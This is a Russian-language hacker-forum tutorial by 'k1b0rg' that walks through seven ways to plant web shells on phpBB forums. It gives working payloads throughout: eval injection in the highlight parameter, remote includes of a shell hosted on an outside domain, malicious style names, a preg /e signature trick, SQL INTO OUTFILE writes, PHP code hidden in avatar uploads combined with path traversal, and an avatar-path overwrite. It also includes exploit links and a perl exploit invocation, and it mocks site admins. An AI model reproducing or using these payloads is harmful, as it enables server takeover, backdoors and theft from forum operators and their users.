Всем привет, это снова k1b0rg и он вам расскажет, как же заливать шеллы в "популярном" форуме phpbb.
*****На заметку:
Обычно папка cache доступна для записи - в неё удобно грузить шелл.
Пример: http://www.site.com/phpBB/cache/shell.php
Всего существует 7 публичных способов залития шелла. Разберем каждый из них по порядку.
1) через уязвимость highlight. Бага очень старая, но все же встречаеться в инете.
Суть баги читайте в инете, было выложено.
Как юзать:
http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=phpinfo();&highlight='.eval( $_GET[cmd]).'
смотрим чо получилось, если них.., то значит бага пропатчена, если показался phpinfo, дергаем из него, ось сервака и сейф мод, и в зависимости от них, ковыряемся на серваке.
Вообще мало-мальски шарящие перчики любят инклудить полноценный веб шелл, например
2.0.10: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%27.include($_GET[cmd]).%27
или так
2.0.11: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%2527.include($_GET[cmd]).%2527
заливаем шелл, трахаем админа...
Exploit:
http://milw0rm.com/exploits/1076
http://milw0rm.com/exploits/1113
Кароче сами разберетесь..не мне вас учить....едем дальше.
2) Через стили. (Нужны админские права).
Суть баги читайте в инете, было выложено.
как юзать:
Идем в админскую панель, жмакаем ссылку в Стилях "Создать". Правим правый фрейм.(Я предпочитаю править прям в опере, жмем исходный код, правим страницу, и жмем обновить из кеша.) style_name делаем произвольным. А template_name удаляем дефолтный(subSilver) и вставляем свой
Код:
a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/
Мы создали стиль, теперь надо его экспортировать в форум. Жмем ссылку "Экспорт", там будет тока текущий стиль, правим сурс, меняем его на
Код:
a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/
В папке /tmp/ появиться файл theme_info.cfg.
Заходя по ссылке
http://localhost/phpbb13/admin/admin_styles.php?mode=addnew&sid=(тут_ваша_ сессия)&&install_to=../../../../../../../tmp/&kiborg=phpinfo();
нам покажеться phpinfo();
Exploit: http://milw0rm.com/exploits/1247
3) Бага в профайле signature_bbcode_uid (Нужен юзер, с любыми правами).
Как юзать: Значит регаемся на форуме, заходим в профайл. Правим страницу..
Код:
<form action="profile.php" enctype="multipart/form-data" method="post">
меняем на
Код:
<form action="profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00" enctype="multipart/form-data" method="post">
В подпись(Signature) суем такую бяку
Вообщем, сначала любое слово, потом двоеточие ,а после него php код. Вставляем, сохраняем, ползем обратно в профайл, и нежно издыхаем, от результатов.
Бага настока редкая, что просто охренеть.
Для нее условия
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет.
Exploit: http://milw0rm.com/exploits/1388
4) После того как "залатали" багу (3), обнаружилось, что залатали, вывод в профайл, а сама бага живая. (Нужны админские права).
Video: http://video.antichat.ru/file178.html
Эта бага присутсвует, почти на всех форумах, ее редко где залатали.
Как юзать:
Создаем текстовый файл 1.sql суем в него код
Код:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
ну вместо 2 ставим свой id
Заходим в админку, жмем востановление базы данных, выбираем файл 1.sql, и со звуком хлопец-хлопца-хоп-ца-ца
заходим в профайл а наблюдаем phpinfo()
Напоминаю, после ":" идет любой php код.
Exploit: http://milw0rm.com/exploits/1661
5) Загрузка через sql. (Нужны админские права + mysql должна иметь права file_priv='Y'(тоесть фактически root) для OUTFILE)
Редкий случай, но встречаеться чаще баги (3).
как юзать:
Создаем файл 1.sql суем в него код
Код:
SELECT '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/shell.php';
В админке востанавливаем через бд этот файл.
Тут нужно знать полный путь. Как его узнавать, ищите в инете.
Exploit: руками потыкаете
6) Загрузка аваторы с php кодом, а затем инклюд.(Нужны права админа)
Бага тоже очень распространненая, тока почему то ее, мало юзают.
Создаем файл kiborg.txt, пишем в него
Код:
<?
$file= fopen('shell.php', 'w');
fwrite($file, '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>');
fclose($file);
?>
Меняем имя файла на kiborg.gif и загружаем его на форум.
Заходим в профайл убеждаемся что аватора загрузилась и смотрим ее имя с путем, будет примерно следующее
/images/avatars/49624519384cd7deb.gif
Создаем файл 1.sql с содержимым
Код:
UPDATE phpbb_config SET config_value=CONCAT('english/../../images/avatars/49624519384cd7deb.gif',CHAR(0)) where config_name='default_lang';
Ну если с мозгами все в порядке, то поймете что здесь накалякано. Востанавливаем через бд.
Ползем по ссылке
http://localhost/phpbb13/faq.php
И если вы все сделали правильно, то по адрессу http://localhost/phpbb13/shell.php должен быть ваш шелл.
Exploit: http://milw0rm.com/exploits/1780
7) Подмена аваторного пути. Багу нашол ShanKaR. (Нужны права админа)
Шанкар выпустил свой сплойт, и описал багу. Судя по месагам в инете, народ так не допер, что за бага и как ее едят. Объясняю...
Как идет загрузка аваторы:
Код:
@copy($tmp_filename, './' . $board_config['avatar_path'] . "/$new_filename");
@unlink($tmp_filename);
Он грузит из
$board_config['avatar_path']."/$new_filename"
$tmp_filename это типо временное название аваторы, пока ее грузили на сервак.
$board_config['avatar_path'] - это аваторный путь, по дефолту
храниться в базе
$new_filename - сгенерированное новое имя аваторы что-то типо 49624519384cd7deb.gif.
Суть баги найденной Шанкаром, в том, что мы аватору грузим не в файл который сгенерирует на сам форум, а в произвольный файл. Его мы задаем в $board_config['avatar_path'] (например images/avatars/shell.php). А затем нам, надо отрезать $new_filename, это можно сделать как предложил автор баги, добавив %00, но так будет не всегда работать. Я предлагаю, сделать через БД, CHAR(0). Вы скажете, слышь аффтар, не гитарь, нах нам, даже в php файле, сурс картинки. А дело в том, что в phpbb можно загружать аватору с php кодом. смотри багу (6).
Как юзать багу:
Заходим в профайл. Смотрим, чтобы аватору можно было выбрать с компа. Пока оставляем это окно, открываем новое. Заходим в админку. Создаем файл 1.sql с содержимым
Код:
UPDATE phpbb_config SET config_value=CONCAT('images/avatars/shell.php',CHAR(0)) where config_name='avatar_path';
Востанавливаем через бд.
Возвращаемся к окну с профайлом, выбираем аватору с php кодом, и загружаем. Если все сделали правильно то по адрессу
http://localhost/phpbb3/images/avatars/shell.php будет ваш шелл. БАГА НИГДЕ НЕ ЗАЛАТАНА. Заплаток нету.
Exploit: http://milw0rm.com/exploits/2348
или
Вот мой сплойт, ему нужно три параметра
perl sploit.pl http://localhost/phpbb/ 37d2ed379a27ec6ede5978523b792a39 images/avatars/shell.php
========================================
Статья принадлежит мне, т.е. k1b0rg (icq: 768620) любое копирование без моего согласия, чревато для вашего чрева.